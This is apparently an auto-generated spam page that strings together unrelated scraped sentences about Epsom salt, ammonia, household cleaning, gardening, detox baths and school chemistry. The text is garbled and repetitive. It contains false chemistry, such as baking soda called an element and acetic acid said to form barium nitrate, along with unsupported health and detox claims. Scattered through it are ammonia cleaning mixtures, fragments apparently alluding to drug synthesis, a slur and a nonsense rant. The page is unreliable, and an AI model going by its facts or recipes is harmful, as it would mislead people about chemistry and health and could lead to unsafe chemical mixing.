Magnesium Sulfate in Epsom Salts is great for Roses. My late husband grew incredible bougainvillea and hibiscus plants. It is a chemical element with formula NaHCO3. 8, carbon-di-oxide. Ironite 30 lb. Using Epsom salt as a fertilizer is much safer for your pets than traditional fertilizers. Acid-base property of the resulting solution from a neutralization reaction depends on the remaining salt products. 3 Details of the supplier of the safety data sheet Company Identification PQ Corporation P. "Sodium-free" salt is actually potassium chloride. Mix 1 can of beer, 1 cup of Epsom salt, 1 cup of ammonia, and 2 cups of water together in your watering can. Add 1/4 cup baking soda, 1/4 cup white ammonia, and 1/8 cup white vinegar. Dosing Tank With Epsom Salt. Record your observations. In a study on Epsom salt baths, Magnesium and Sulfur are absorbed. Ammonia is among the five most abundantly produced chemicals in the world. The nutrition plan should focus on full-fat coconut products, grass-fed butter/ghee and small amounts of grass-fed and pasture-raised meat. In context\|chemistry\|lang=en terms the difference between salt and nitrate is that salt is (chemistry) one of the compounds formed from the reaction of an acid with a base, where a positive ion replaces a hydrogen of the acid while nitrate is (chemistry) any salt or ester of nitric acid. i'm able to tutor you ways to take brimstone from the slopes of a volcano, burn it and condense the vapors in water to make oil. This did not change significantly, whichever Epsom salt levels were used, over the 8-day period. Reacts with concentrated sulfuric acid, alkalis. They taste infinitely better than their grocery store counterparts and require only a little help from you. 2 degrees Celsius. The usual dose of Epsom salt (magnesium sulfate) is one level tablespoon for every ten gallons of water. Epsom salt is magnesium sulfate. This method does not determine how much of a particular ion is present. Ammonia RNA, only if levels are persistently high. Even if science is not yet ready to put a name to it, emotional energy is very real, and important like thermal energy or potential energy of matter. However, the information cannot be guaranteed. cloudy white solution. A precipitation reaction can occur when two solutions containing different salts are mixed, and a cation/anion pair in the resulting combined solution forms an insoluble salt; this salt then precipitates out of solution. Fast Acting Sulfur$26. This water is called the water of. A salt is any compound formed by the neutralisation of an acid by a base. I have no idea how the fish is doing since I haven't heard anything, but will be going back there tomorrow. Salt, sugar, baking soda, distilled water, saliva, alcohol and ammonia are a few substances they can test using a 0. A salt is a compound made up of positively charged ions and negatively charged ions which are held together in a solid state because the positive and negative charges attract one another. • This they refused to drink because of the water's bitter taste. Salt also dries out the bumps and pustules more rapidly. Ammonia (NH 3) reacts with water to make a clear solution of ammonium hydroxide (NH 4 OH), or household ammonia. Making bath salts is incredibly easy! Combine the following ingredients, trying to somewhat evenly distribute the essential oil. It is important to stir the mixture to have a quick mixing, otherwise, water left alone over a salt layer would take many days to dissolve. The salt is most likely to be (a) Na 2 CO 3 (b) KCl (c) NH 4 Cl (d) CH 3 COONa Answer: (b) Salts which are completely ionisable in water are said to be neutral salts and their pH is equal to 7. Methods for preparation of Magnesium sulphate:. Crushable to open quickly and easily. Note: This document contains side effect information about magnesium sulfate. Reaction with the acid produces the conjugate acid of the amine (an ammonium ion) which is a salt and is water soluble (recall the ammonium ion from General Chemistry). 3 Details of the supplier of the safety data sheet Company Identification PQ Corporation P. To show how sodium chloride is formed by the reaction between sodium and chlorine gas. Asked in Chemistry. Can You Grow Cherry Tomatoes In A Topsy Turvy Ammonia Salt Epsom composted cow manure dehydrated cow manure garden manure from Home depot chicken manure shrimp manure. Himalayan Pink Salt Side Effects When one gets down to it, all edible salts - no matter what the color - are largely comprised of sodium chloride and originated from the sea. Adding Epsom salt will cause a chemical reaction that breaks down the lead sulfates, effectively “cleaning” your battery and breathing new life into it. To completely eliminate a colony, it is necessary to kill the egg-laying queen(s). It is the product of the chemical reaction between magnesium hydroxide and sulfuric acid. Natural Cleaning Ingredients to Avoid Combining. Thousands of Napoleon's troops died during the French retreat from Moscow due to inadequate wound healing and lowered resistance to disease—the results of salt deficiency. Place them on their pictures. Magnesium sulfate is an inorganic salt with the formula MgSO 4 (H 2 O) x where 0 ≤ x ≤ 7. through my nose and after I was done, for the next 10-15 minutes I sensed a distinct ammonia-like odor. Pour this compost. Vinegar and baking soda mixed causes a chemical reaction so mix this over a sink as it can be very messy. Epsom Salt soak is an easy, achievable way to soothe sore muscles after workouts, help speed recovery, and get you back in the game of life Yogti All Categories Beauty Grocery Health and Personal Care Sports and Fitness. The energy it took to make this change lowered the temperature. While you could eat salt crystals, they aren’t likely as good as rock candy. I'm going to add these nutritive baths 1-2 times a week, in between the detox baths. Fill out all nine combinations, although nine different tests are not needed to identify the substances responsible for the observed changes. Feso4 7h2o Percent Water. For general household cleaning and disinfecting with a minimum of fumes, dilute bleach at a 1:100 ratio, or 2 teaspoons bleach per gallon of water. Salt mines are the result of seas that dried up millions of years ago, leaving behind a deposit of sodium chloride and other minute amounts of minerals. It is also used by the pharmaceutical industry. Ringer 0% Phosphate Lawn Restore Fertilizer - 25 lb. The juice will turn pink. Every candida sufferer's liver is already taxed by the time they realize they have candida from the mycotoxins alone, as well as from things like ammonia gas. All dinitramide salts including ADN have been concluded to have a common combustion mechanism which involves the condensed-phase reaction to give N2O and the corresponding nitrate and determines. From epsom salt crystals worksheets to epsom salt paint videos, quickly find teacher-reviewed educational resources. Aurora Borealis February 18. a neutral salt (formed by the reaction of a weak acid with a weak base) c. Stir this mixture around and then pour it into a clean, empty spray bottle. So picking a salt that had sulfate in it was the key to making this double replacement occur. This can be done by adding concentrated sulphuric acid to a small amount of the salt in a test tube. However, mixing anything with ammonia yourself is not recommended due to harmful chemical fumes. Classifying Reactions Lab Part 1 of the lab: Part 1 Answers: Part 4 Part 3 Observations: Day Appearance of Steel Wool 1 The water is warm and is surrounding the opening part of the jar. Add a few small drops of the vitamin C solution to this. So the second time, I decreased the salt and sugar to 2/3 cup (instead of 1 c. The Cold-flo ™ System developed at Penn State is an alternative to injecting the ammonia in a gaseous form. Salt detox: Ingredients may include Epson salt, Himalayan salt, apple cider vinegar, and baking soda. cloudy white solution. Ammonia Inhalants, also known as Smelling Salts, are used to rid light headedness to prevent fainting, but can also be used for treatment to fainted persons. Possible effects on the kidneys were tested by measuring urinary protein content. The product works by dehydrating the fleas and eventually killing them. water, 3 tsp. Find epsom salt lesson plans and teaching resources. Clay detox: Ingredients may include bentonite clay, Epsom salts, and essential oils. Because of this Epsom salt does react with Castile soap. Past Paper Questions on acids, bases and salts. And tie a fun (and functional) spoon or scoop (like this or this or this) to the jar to make a super cute gift!. Salt — Salt, n. Hydrogen sulfide is a colorless gas that has a characteristic smell of rotten eggs. Check to be sure that our drawings show the conservation of mass. Price for all three: $71 58 Add all three to cart. Add the Mg atom to the OH groups. The recipe for the Salt Crystal Garden calls for proportionately large amounts of salt in the presence of little liquid. Epsom salt is Magnesium sulphate. Q: Relationship of Lithium, Salt & Loss of Body Fluids. Blossom end rot is caused by a deficiency of calcium. Magnesium Deficiencies Being deficient in magnesium can result in heart disease, stroke, migraines, osteoporosis, arthritis, stress related illnesses, chronic fatigue and joint pain. If the base contains hydroxide $$(\text{OH}^{-})$$ ions, then water will also be formed. (c) A salt prepared by direct combination is Iron (III) chloride. through my nose and after I was done, for the next 10-15 minutes I sensed a distinct ammonia-like odor. Apart from ammonia, it's NaCl… sodium chloride …casual, ordinary, cheap, edible table salt out of your kitchen from the supermarket shelf you use for saltening your meals! It's generally perceived as harmless, yet you should not mix it with chlori. Heat of solution (enthalpy of solution) has the symbol 1 ΔH soln. Single use. The Grass Is Always Greener on Jerry Baker's Lawn Because He Feeds It Beer, Soap and Ammonia. If youâ ve got a bigger lawn make sure you get one of those watering cans with a spray head so you can just spray the stuff on your lawn instead of walking up and down your lawn. The evaporation process is accelerated by the ammonia, which evaporates more quickly than water. Reacts with concentrated sulfuric acid, alkalis. Aqueous silver nitrate (AgNO 3) is added to a. Its probably not my test because water from my. The Epsom Salt Council reports this: Magnesium is the second most abundant element in human cells and the fourth-most positivity charged ion in the body. Stir this mixture and drink all of it right away. vitamin and mineral tablets will contain elements like copper and magnesium which are considered inorganic compounds. Second, write the equation for the reaction of the ion with water and the related equilibrium expression. NaOH, KOH can be used as strong alkalis. Increases in sodium retention let sodium passively diffuse into the cerebrospinal fluid. Ah - found my properties of metals dictionary - the corrosion product, which for normal epsom salts concentration (assuming none is left in the bottom of the tub after the bath) should be mild or relatively slow-growing, is a powdery white coating with blue-green splotches in it, which requires a mild to moderate acid or highly abrasive (obviously not suitable for your tub) scouring powder to. (NH ) sÓ4 (ammonium sulfate) (milk of magnesia) LEGO. Reacts with concentrated sulfuric acid, alkalis. It includes many common liquids used in chemical, paint, industrial and food processing applications. The chemical reaction 3 Chlorine and the caustic soda solution are reacted to form sodium hypochlorite bleach. Magnesium Lime : DON'T PLAY BY IT! IT IS A VERY CAUSTIC STUFF!!!). Sodium/Salt/Sodium Chloride, aka 'table salt' kills plants. Vinegar is most commonly used in cooking to season fried potato chips and French fries. Magnesium aids in chlorophyll production in plants. I just accidently smashed a slug under my bare foot when going out to feed the dog (I YELPED) and had to use a scouring pad and heavy scrubbing to get the slime off my foot. Applies to magnesium sulfate: crystal, powder, powder for solution, powder for suspension. 25 nitrite, 10-20 nitrate. reaction ammonia aqueous medium electrocoagulation concentration Prior art date 2013-02-22 Legal status (The legal status is an assumption and is not a legal conclusion. This liquid is stable, has a heat capacity similar to water (by volume) and flows much like water does. A number of hydrates have been prepared and assigned CAS numbers. However, it is slightly acidic, which brings us back to the idea of acid/base reactions. The following reaction occurs when nitrogen reacts with hydrogen to make ammonia. In conclusion, my driving question is correct because the Epsom salt took a shorter time for crystals to form than the iodized salt did. Try an Epsom salt bath. Epsom salt can be found at grocery and drug stores on the first aid isle. Sulfa allergy is a term used to describe an adverse drug reaction to sulfonamides, a class of drugs that includes both antibiotics and non-antibiotics. Immerse the contacts in beakers containing each solution. This OP is trying to do Abrakadabra with Epsom salt. Table salt: NaCl; Epsom salt: MgSO4. Sulfur-free at last! April 22, 2013 February 1, 2018 Eric chelation , chronic fatigue , heavy-metals , methylation , supplements I made a massive diet change yesterday, replacing 80 to 90% of my diet – a change that frightened me as much or more than going vegan. I checked my reef to compare colors and there is a difference in color for sure - the reef is 0. Sodium ion toxicosis is possible after large ingestions of ice melts, salt, or rock salt. A reverse osmosis filter will take the ammonia out of the water and you can add back trace minerals with a pinch of pink salt. I thought I remembered reading something about adding epsom salt to the water and causing mild pineconing but I can't find it now. Feso4 7h2o Percent Water. Magnesium sulfate, also known as Epsom salt, is an inorganic salt mainly used in agriculture as fertilizer. Epsom Salt: Epsom salt is magnesium sulfate and has a range of therapeutic benefits. So the second time, I decreased the salt and sugar to 2/3 cup (instead of 1 c. Used by many gardeners as a supplemental fertilizer for vegetables and ornamentals, Epsom salt is a valuable source of magnesium. Vinegar is an acidic pH chemical, the same side of the scale as a floor neutralizer. Salts that form from a weak acid and a strong base are basic salts, like sodium bicarbonate (NaHCO3). These properties enable salt to be used in everything from preserving food to making it taste better. The product works by dehydrating the fleas and eventually killing them. Acids, bases and salts affect chemistry as well as our day to day life. For example, sodium (metal) plus chlorine (non-metal) equals NaCl, or sodium chloride. Ammonia on Tomato Plants. (NH ) sÓ4 (ammonium sulfate) (milk of magnesia) LEGO. The outcome for this hypothesis is looking pretty grim. In a chemical. Ammonia RNA, only if levels are persistently high. Epsom salt is composed of magnesium sulfate. The second measurement of heat (after the salt was added) was 22. Heat of solution (enthalpy of solution) has the symbol 1 ΔH soln. Ammonium sulfate (American English and international scientific usage; ammonium sulphate in British English ); (NH 4) 2 SO 4, is an inorganic salt with a number of commercial uses. Mixing ammonia and epsom salt causes a reaction which produces magnesium hydroxide as one of the products. Miller on allergic reaction to epsom salt bath: Epsom salt has not been known to cause allergic reaction. Epsom salts, however, do not contain any of the three major components of most fertilizers—nitrogen, phosphorus or potassium—and therefore would not be a complete fertilizer for roses. Salt, sugar, baking soda, distilled water, saliva, alcohol and ammonia are a few substances they can test using a 0. When ingited, Mg reacts with both oxygen and nitrogen forming a mixture of magnesium oxide, MgO, and magnesium nitride, Mg 3 N 2 [6]. Then dooing a few washes. Qualitative Analysis of Salts What is qualitative analysis? Qualitative analysis of a salt Analysis is a chemical technique used to identify the ions present in a salt by analysing its physical and chemical properties and hence determine the identity of the salt. I stirred it until the water had broken the substance down into two ions: magnesium and sulfate (thus changing the chemical ID). 21898 views. 5 and a melting point of 200 degrees C. Solution A. WebMD gives you the 411 on Epsom salt -- it's been used for hundreds of years to ease all kinds of aches and pains. After you measure the salt transfer it to either the A or B gallon container (depending on which one it should go into). The reaction that occurred between the sins and acetic acid is a chemical reaction called single replacement. In fact this is the same chemical reaction that's used to create Mustard Gas used in chemical warfare. Try an Epsom salt bath. Even though Epsom salt is a great fertilizer for the garden, it must be applied correctly, otherwise, you’ll still end up with a dead dried up rose bush, or one that isn’t growing to its full potential. The course looks at matter’s composition, properties, and transformations. containing aluminum nitrate and potassium carbonate was dissolved, calculate the mass per. Some say put the pseudo in fist; some say put the lithium in fist. Record your observations. The reaction is expressed as 3 Cu(NO3)2 + 2 Al → 2 Al(NO3)3 + 3 Cu. Methods for preparation of Magnesium sulphate:. Magnesium aids in chlorophyll production in plants. Sulfurous acid: H 2 SO 3--> SO 2. This reaction will have the lithium in fist. For instance, there is magnesium sulfate, better known as Epsom salts, which provide a powerful laxative also used for ridding the body of poisons. Fill out the chart in Data Table B to indicate the substances used in each controlled experiment. 14 Ammon iak , wasserfrei o der in wäss ri ger Lösung: 2814. It is expressed as: 2 CH3COOH + Ba(OH)2 → Ba(C2H3O2)2 + 2H2O. com use cookies on this. "Sodium-free" salt is actually potassium chloride. Hydrated salts, or hydrates, contain a certain amount of water within their molecular structures. Then dooing a few washes. Activated Charcoal And Ammonia. reaction ammonia aqueous medium electrocoagulation concentration Prior art date 2013-02-22 Legal status (The legal status is an assumption and is not a legal conclusion. Qualitative analysis of a salt Analysis is a chemical technique used to identify the ions present in a salt by analysing its physical and chemical properties and hence determine the identity of the salt. You don't need to use a lot of salt. Table salt, for example, is edible and it's used to flavor a variety of foods, but Epsom salt isn't for eating, and it isn't actually true salt. solid state, and the amount of salt vapours can be neglected below say 1000 ºC. The reason that ammonia is there is to buffer out a high degree of hydrogen ions. A word of warning: they can increase the herx reaction at the beginning of the bath, this is followed by a period of exhaustion, but it has always brought relief in my past experience, when done correctly. CALCIUM SULFATE is non-combustible. You can now use a brush or a broom to ensure spreading the mixture uniformly to all areas. Now leave the mixture of salt and baking soda on the carpet overnight. CAUTION! AgNO3 causes skin discoloration. Magnesium Salts (technically called Magnesium Chloride), is the compound you find in all Magnesium supplements and it has a different molecular structure than Epsom Salts. The second measurement of heat (after the salt was added) was 22. Sprinkle lightly over plants when they begin to flower and set fruit. I thought I remembered reading something about adding epsom salt to the water and causing mild pineconing but I can't find it now. 35°C, and has a density of 0. The method of preparing and purifying the salt depends on whether or not it is soluble in water. For people who have a sensitivity to sulfur (or sulfites, which are sulfur atoms complexed with three oxygen atoms), foods and supplements high in the sulfur-containing amino acids can be a problem. As little as half a teaspoon of salt in a full sized dinner glass can be enough to kill off bacteria in the mouth. Remember that increased toxic metal body burden can alter CBS and sulfuration pathways. asked by Kenneth on January 30, 2008; Physical Science. Benefits of Epsom Salt for Roses. Naphthalene is broken down by bacteria, fungi, air, and sunlight. Hydrogen sulfide is a colorless gas that has a characteristic smell of rotten eggs. then add 2 teaspoons of ammonia to the Epsom salts solution and stir thoroughly and answer these. 48 Write the balanced chemical equation for the reaction between dilute hydrochloric. Make sure your mixture is deep enough to completely cover your pendant when you put it in the bowl: Then add your copper pendant to the mixture in the bowl, and let it soak for at least 30. It simply performs the chemical reaction of neutralizing the salt. Ammonia will increase the pH of solutions to which it is added, and is irritating to the user. Therefore, here is a list of the Top 10$15 Things to Buy on Amazon for Self Care!. Used by many gardeners as a supplemental fertilizer for vegetables and ornamentals, Epsom salt is a valuable source of magnesium. Or distill it, but seriously, that would reak. If youâ ve got a bigger lawn make sure you get one of those watering cans with a spray head so you can just spray the stuff on your lawn instead of walking up and down your lawn. Above 48 °C, a lower hydrate crystal forms. Best answer: No, just an odd assortment of weirdos who are all equally retarded pointing fingers at each other and calling one another names. The Epsom salt was also easier for it to dissolved, but with the iodized it was difficult for it to truly dissolve into the water. Add 2 teaspoons of ammonia to the Epsom salts solution and stir thoroughly. The course looks at matter’s composition, properties, and transformations. Be careful to drink plenty of liquids. Learn vocabulary, terms, and more with flashcards, games, and other study tools. Use on lawns, flower, vegetables and more. Explain why each salt appears to be neutral, acidic, or alkaline. (which are the basis of acidity) If you didn't have the ammonia buffer, your urinary tract mucous membranes would be burned away by the acids. You can now use a brush or a broom to ensure spreading the mixture uniformly to all areas. Aqueous silver nitrate (AgNO 3) is added to a. Magnesium sulfate, also known as Epsom salt, is an inorganic salt mainly used in agriculture as fertilizer. In the few instances where special equipment is required that can't be purchased from a supermarket or office supply store, we've listed suggested sources in the materials section of the corresponding acitivty. If enough magnesium is used, magnesium sulfate drops out of solution to form a white salt. Adding base to the acidic aqueous layer will regenerate the water insoluble amine. Reaction between magnesium sulfate and ammonia: Appearance after initial mixing_____. It's primary effect is to relax the fish's digestive system, thus allowing a blockage to pass. I was amazed how fast I saw results too. Used by many gardeners as a supplemental fertilizer for vegetables and ornamentals, Epsom salt is a valuable source of magnesium. ; It determines only the presence or absence of a particular ion in a given salt. solid state, and the amount of salt vapours can be neglected below say 1000 ºC. The regular formula had all of the right ingredients to casue a good chemical reaction and formed salt crystals very well. One type of chemical process that can be either exothermic or endothermic is dissolving of salts in water. Making bath salts is incredibly easy! Combine the following ingredients, trying to somewhat evenly distribute the essential oil. People consume Epsom salt by dissolving it in water, creating an Epsom salt solution, then drink it. One cup of ammonia Some water. A small wooden splint, lit with a match, can be held over the glass. 2 0 - Ammoniak in wä ssriger Lösung. This medication is a mineral supplement used to prevent and treat low amounts of magnesium in the blood. Make a typical baking soda spray by dissolving 1 teaspoon of baking soda into one quart of water. However, it is important to create a mouthwash that is not too salty for you to manage. A balanced chemical reaction is in accordance with the law of conservation of mass. The chemical formula for washing soda is Na2CO3 or sodium. In fact Epsom salt is used as a FERTILIZER or plant booster for many plants including roses and tomatoes. Put a little dry ice in the bottom. Last updated on Aug 7, 2019. There is a way of confirming this. Magnesium sulfate is an inorganic salt with the formula MgSO 4 (H 2 O) x where 0 ≤ x ≤ 7. Epsom salt seemed to irritate my skin, and make my my arms and legs swell. The Magnesium Sulfate in Epsom Salts is great for Roses. Feb 19, 2013. Directions: Crush 1000 mg of Vitamin C supplement tablets, stir in 2 tbsp (30 mL) of water, and stir until dissolved. 195g of a salt mixture. Write a net ionic equation for the reaction. When you add Epsom salt to ammonia, there will not be a visible reaction. To produce a liter of ammonia you will need about 2 kilos of ammonia salt, as well as 2 kilos of NaOH. Now, I know all of you are savvy enough to know that baking soda + skin = terrible but I wanted to make sure everyone knew that adding hydrogen peroxide to baking soda does. Dissolve 1 teaspoon of Epsom salts in a half cup of water. Barium hydroxide used in this reaction is either a solid or a highly dilute aqueous solution. And at the level myAPI kit said the ammonia was at the center should've been purple unfortunately The instructions on stability gives you a first day dose and then a once a day for a week thereafter dose and according to the instructions all will be well I had two small fish in a 15 gallon tank and in just a few days obviously the ammonia got out of hand. table salt and ammonia is just a homemade type of pickle (acidic mix used to clean jewelry and such after soldering and so on) I wore it non stop and found that scratches on it revealed that it was only a chemical reaction on the surface. After the residue. Using Epsom salt as a fertilizer is much safer for your pets than traditional fertilizers. Salt crystals using charcoal, liquid bluing, ammonia and salt How to Grow Flowers From Coal. However, mixing anything with ammonia yourself is not recommended due to harmful chemical fumes. Make sure your mixture is deep enough to completely cover your pendant when you put it in the bowl: Then add your copper pendant to the mixture in the bowl, and let it soak for at least 30. This will make Solution A colorless. Ammonia (NH 3) reacts with water to make a clear solution of ammonium hydroxide (NH 4 OH), or household ammonia. A chemical equation is shorthand that scientists use to describe a chemical reaction. I would wear eye goggles to be safe Washed all clothes in 2 c a clear ammonia (do not add detergent because it will alter the effectiveness of the ammonia) second wash with 1 c epsom salts. Correct answers: 3 question: In this stoichiometry problem, determine the limiting reactant. The Magnesium Sulfate in Epsom Salts is great for Roses. Common concerns: The strong smell of vinegar will dissipate quickly, leaving your hands clean and odor-free. Add 1/4 cup baking soda, 1/4 cup white ammonia, and 1/8 cup white vinegar. This Means That An Aqueous Solution Of Ammonia (a Solution In Which Water Is The Solvent Is Called An Aqueous Solution) Will Contain NH4OH. But Epsom salt can actually benefit your rose garden too. Epsom salt. The chemical equation shows magnesium (Mg) and sulfuric acid (H2SO4) on one side and magnesium sulfate (MgSO4) and hydrogen gas (H2) on the other. Many people find it easier to start. Ammonia (NH 3) Azane NH3 Trihydrogen Nitride Ammonia Instructions. 6-watt lightbulb attached to a board with the bulb contacts extending below the board. And tie a fun (and functional) spoon or scoop (like this or this or this) to the jar to make a super cute gift!. Epsom salt supplies the beneficial nutrients of magnesium and sulfur which aide in healthy plan growth! Epsom salt makes the main nutrients in most plant foods (nitrogen, phosphorus, potassium) more effective too. Magnesium sulfate is a naturally occurring white crystal, also known as Epsom salts. In the same vein, table salt ($\ce{NaCl}$) is perfectly OK despite hydrochloric acid ($\ce{HCl}$) being rather nasty. The salt we put on our food is referred to as "table salt", and is a salt compound made up of. winniedanz. Salts that form from a strong acid and a weak base are acid salts, like ammonium chloride (NH4Cl). People use it to make soft water for relaxing, treat constipation, and sore muscles. -1/2 tsp Epsom salt-7 tbsp (105 mL) of clear household ammonia. Bedbugs are reddish brown, oval and flat, and about the size of an apple seed. Repeat only once, if necessary. She had mentioned that she is a big fan of taking "detox" baths with Epsom salts (magnesium sulfate), baking soda (sodium bicarbonate), tea tree oil, and hydrogen peroxide. Put a little dry ice in the bottom. This can be done by adding concentrated sulphuric acid to a small amount of the salt in a test tube. Ammonia Inhalents (Ampule). I was recently given a problem set and I need some help on the following: A 0. (a) Carbonic acid is a dibasic acid with two replaceable hydrogen ions; therefore it forms one acid salt or one normal salt. If desired, add food coloring. My tank has live bearers-- dalmation. It's also affordable, easy to use, and harmless when used appropriately. Is There More Than One Compound Of Magnesium And Oxygen. Sulfa allergy is a term used to describe an adverse drug reaction to sulfonamides, a class of drugs that includes both antibiotics and non-antibiotics. This is highly dangerous, loquasous, contagious, lepacious, buharicios, and can lead to a permanent negative change in the eyes, hands, breasts and the Konji junctions, ears infections like Buhari ears, and plenty commotions and explosions like the ones between efcc, APC, Codeine, and PDP. 1620: Sala synthesizes sal ammoniac from 'volatile salt of urine' (ammonia) and 'spirit of salt' (hydrochloric acid). The mixture is commonly used as a home remedy for achy sore throats, cleaning and pest control. It is often encountered as the heptahydrate sulphate mineral epsomite (MgSO 4 ·7H 2 O), commonly called Epsom salt. Heat of solution, or, enthalpy of solution, is the energy released or absorbed when the solute dissolves in the solvent. and i think you would have to do a fractional distillation. a neutral salt (formed by the reaction of a weak acid with a weak base) c. Organic Soil Acidifier \$10. The equation tells us that solid sodium chloride has broken down into aqueous ions of Na+ and Cl-. Different types of salt aren't created equal. For the Consumer. For every sulfate (SO4 -2 ) ion, the root releases two hydroxide (OH -1 ) ions, which raises the pH of the growing medium around the root. What evidence was there that a reaction was taking place? 1. The usual Epsom Salt bath recommendation is to use a cup of Epsom Salts in a hot bath and soak for 20 minutes. It's a compound of magnesium sulfate named after a salt spring in Surrey, England. " There is no way in the world that all of these products are needed - especially by smart folks who live frugally. Share this post. For general household cleaning and disinfecting with a minimum of fumes, dilute bleach at a 1:100 ratio, or 2 teaspoons bleach per gallon of water. Solution A. Some of the dosage forms listed on this page may not apply to the brand name Epsom Salt. Copper II sulfate ; Household ammonia; Hydrogen peroxide. Two molecules of Acetic Acid react with one molecule of Barium Hydroxide to form a salt (Barium Nitrate) along with water, like any other acid-base reactions. You might be surprised to learn that a common household item like beer can be used to achieve a lush, beautiful, green lawn. "Sodium-free" salt is actually potassium chloride. Sodium chloride (table salt) comes from mixing sodium hydroxide and hydrochloric acid. Pour equal amounts of epsom salts and liquid dish detergent to form a paste to clean ceramic tiles. You might want to ask your dr if it is ok to use baking soda instead of epsom salts if the epsom salts are a no-no for you. ” Uses of Epsom salt: “It is used in the production of Epsom salt and as a fertilizer, the overall global annual usage in agriculture in the mid 1970s was 2. A chemical reaction is said to be balanced if all the constituent atoms are same on both sides of the reaction arrow. The net ionic equations for these two reactions are as follows:. Addition of aqueous ammonia to a solution of Epsom salt produces "milk of magnesia", a suspension of magnesium hydroxide that has a milky appearance. Continue to group II. Himalayan Pink Salt Side Effects When one gets down to it, all edible salts - no matter what the color - are largely comprised of sodium chloride and originated from the sea. "Salt" is just a chemistry word for the product of a reaction between an acid and a base. Salts are basically compounds of both a metal and non-metal substance. Magnesium react with oxygen at room temperature, forming a passivating layer of MgO on the surface. The Epsom Salt Council reports this: Magnesium is the second most abundant element in human cells and the fourth-most positivity charged ion in the body. A student carries out experiments using acids, bases and salts. They are easy to use; simply crush the packet with two fingers and bring to the. Sodium/Salt/Sodium Chloride, aka 'table salt' kills plants. Asked in Chemistry. Household ammonia contains ammonium hydroxide, and the chemical name for epsom salt is magnesium sulfate. In the reaction of an acid with a base in aqueous solution, the hydrogen ions of the acid react with the hydroxide ions of the base to give water. Substance Any concentration shown as a range is to protect confidentiality or is due to batch variation. ) Soap is a base, aka an alkali. Secret Uses for Ammonia, Foil, Salt, and Baking Soda The other day I was in the grocery store gazing at the endless array of cleaning supplies and thought, "we are being scammed. A small piece of cooked or blanched pea will act as a laxative and is often the first choice as a cure for bloating. Within 15 minutes we had crystals beginning to form. Soil that is lacking sulfur for a particular crop, such as onions, may benefit from Epsom salt. 01 g of liquid camphor, the freezing point of the mixture is found to be 176. Reacts with concentrated sulfuric acid, alkalis. CALCIUM SULFATE is non-combustible. 3152g of an aluminum carbonate precipitate formed when 2. Epsom salt has a molecular formula of MgSO4. Increases in sodium retention let sodium passively diffuse into the cerebrospinal fluid. Clay detox: Ingredients may include bentonite clay, Epsom salts, and essential oils. ash, Pearl of ash, Washing soda, Baking soda, Blue Vitriol, Sal-ammoniac, nitre, Epsom salt, Gypsum salt, Lunar caustic. • However the farmer noticed that the water seemed to heal scratches and rashes. Why it might work for rosacea is a mystery, but some readers have gotten relief from their redness and breakouts with topical milk of magnesia (magnesium hydroxide). As little as half a teaspoon of salt in a full sized dinner glass can be enough to kill off bacteria in the mouth. They are easy to use; simply crush the packet with two fingers and bring to the. Epsom 'salt' is actually a pure mineral compound of magnesium and sulfate in crystal form. Therefore, a chemical reaction must have occurred. This reaction will have the lithium in fist. C10 acids, bases and salts 1. Whether caused by a true allergic reaction or other intolerance, sulfa reactions affect up to 6% of people (women more than men). While the combination does create a good disinfectant, these two common cleaning agents should never be used at the same time. Next add 2 tablespoons each of ammonia and laundry bluing, again mixing as you go. The salt we put on our food is referred to as "table salt", and is a salt compound made up of. Mix: 1 Gallon white vinegar 2 cups multi purpose epsom salt 1/4 cup regular blue dawn dish soap Put into gallon sprayer, if you don't have a sprayer, You can use anything that will spray out liquid, Saturate. Feso4 7h2o Percent Water. This was an endothermic. The above reaction is exothermic in forward direction and hence endothermic in backward direction. Even though Epsom salt is a great fertilizer for the garden, it must be applied correctly, otherwise, you’ll still end up with a dead dried up rose bush, or one that isn’t growing to its full potential. Whether caused by a true allergic reaction or other intolerance, sulfa reactions affect up to 6% of people (women more than men). As the ice reacts with the water and the carbon dioxide is disolved, it Carbonic acid. "MgSO4" is MAGNESIUM SULPHATE (e. Espoma 6 lb. Epsom salt detox baths are also an amazing way to pull toxins out of the body ("A Body"). However, they typically contain harsh chemicals that are toxic to not only the weeds but also humans, pets and wildlife. Repeat only once, if necessary. buffer salt a salt in. of vinegar in the microwave. Begin by mixing 2 tablespoons of salt with 4 tablespoons of water, stirring to dissolve as much salt as possible. Next, fill the bathtub with comfortably hot water and add 1/2 cup of Epsom salt, 1 cup of baking soda, 1/4 cup of unfiltered apple cider vinegar, and 1/4 cup of sea salt to the water. It has been compiled using many sources, all believed to be reliable. Fish's Reaction to Epsom Salt Bath I gave an Electric Green Tetra an Epsom salt bath on Friday afternoon due to suspected constipation (for someone I pet sit for whose tank I keep an eye on). WE + acidified K2Cr2O7 2 = sol 3. Chemistry is often called the central science, because a basic knowledge of chemistry is essential for students of biology, physics, geology, ecology, and many other subjects. The chemical equation shows magnesium (Mg) and sulfuric acid (H2SO4) on one side and magnesium sulfate (MgSO4) and hydrogen gas (H2) on the other. Spent bittern, containing <50 ppm of tartaric acid, was the. It works particularly well when an EMIT drug test is used. There is a way of confirming this. hydrogen, chemists usually make salts by reacting a metal oxide or a metal carbonate with an acid. Enhances water filtration and lowers soil pH levels. table salt is not the same thing as Epsom salt. EPSOM SALT BATHS. But the ammonia got rid of majority of the grime 😀 Thanks so much for sharing this great tip! Judy. Formula and structure: Magnesium sulfate has three known form: anhydrous, monohydrated and heptahydrated form and its chemical formula are: MgSO 4 , MgSO 4. Ammonia is an inorganic compound composed of a single nitrogen atom covalently bonded to three hydrogen atoms that is an amidase inhibitor and neurotoxin. Epsom Salt soak is an easy, achievable way to soothe sore muscles after workouts, help speed recovery, and get you back in the game of life Yogti All Categories Beauty Grocery Health and Personal Care Sports and Fitness. I hope you can help, this is the last question I have!. Let's take the reaction of hydrogen with oxygen to form water as an example. Check to be sure that our drawings show the conservation of mass. My daughter used this as part of a science fair project and won first place in 5th grade. Blossom end rot is caused by a deficiency of calcium. But, if you add in all that table salt as well, the end result is that Americans consume way too much salt. Reaction between magnesium sulfate and ammonia: Appearance after initial mixing______. The kinetics of chemical reactions can be written as: (vii) − d [C] dt = k [C] n where C is the molar concentration of reactant, t is the reaction time, k is the rate. Epsom salts are a type of pure mineral that comes from a compound consisting of sulfate and magnesium. Table Salt is nothing more than Sodium Chloride (NaCl). This reflex alters the pattern of breathing, resulting in improved respiratory flow rates and possibly alertness. As the magic solution evaporates off of the tree, the crystals are left behind on the branches of the tree. When salt and vinegar are mixed together, a chemical reaction takes place. Phelps, I suffer from Bipolar I and I have been taking lithium for the past year. We are specialized in the research, development, and production of industrial crushing, powder 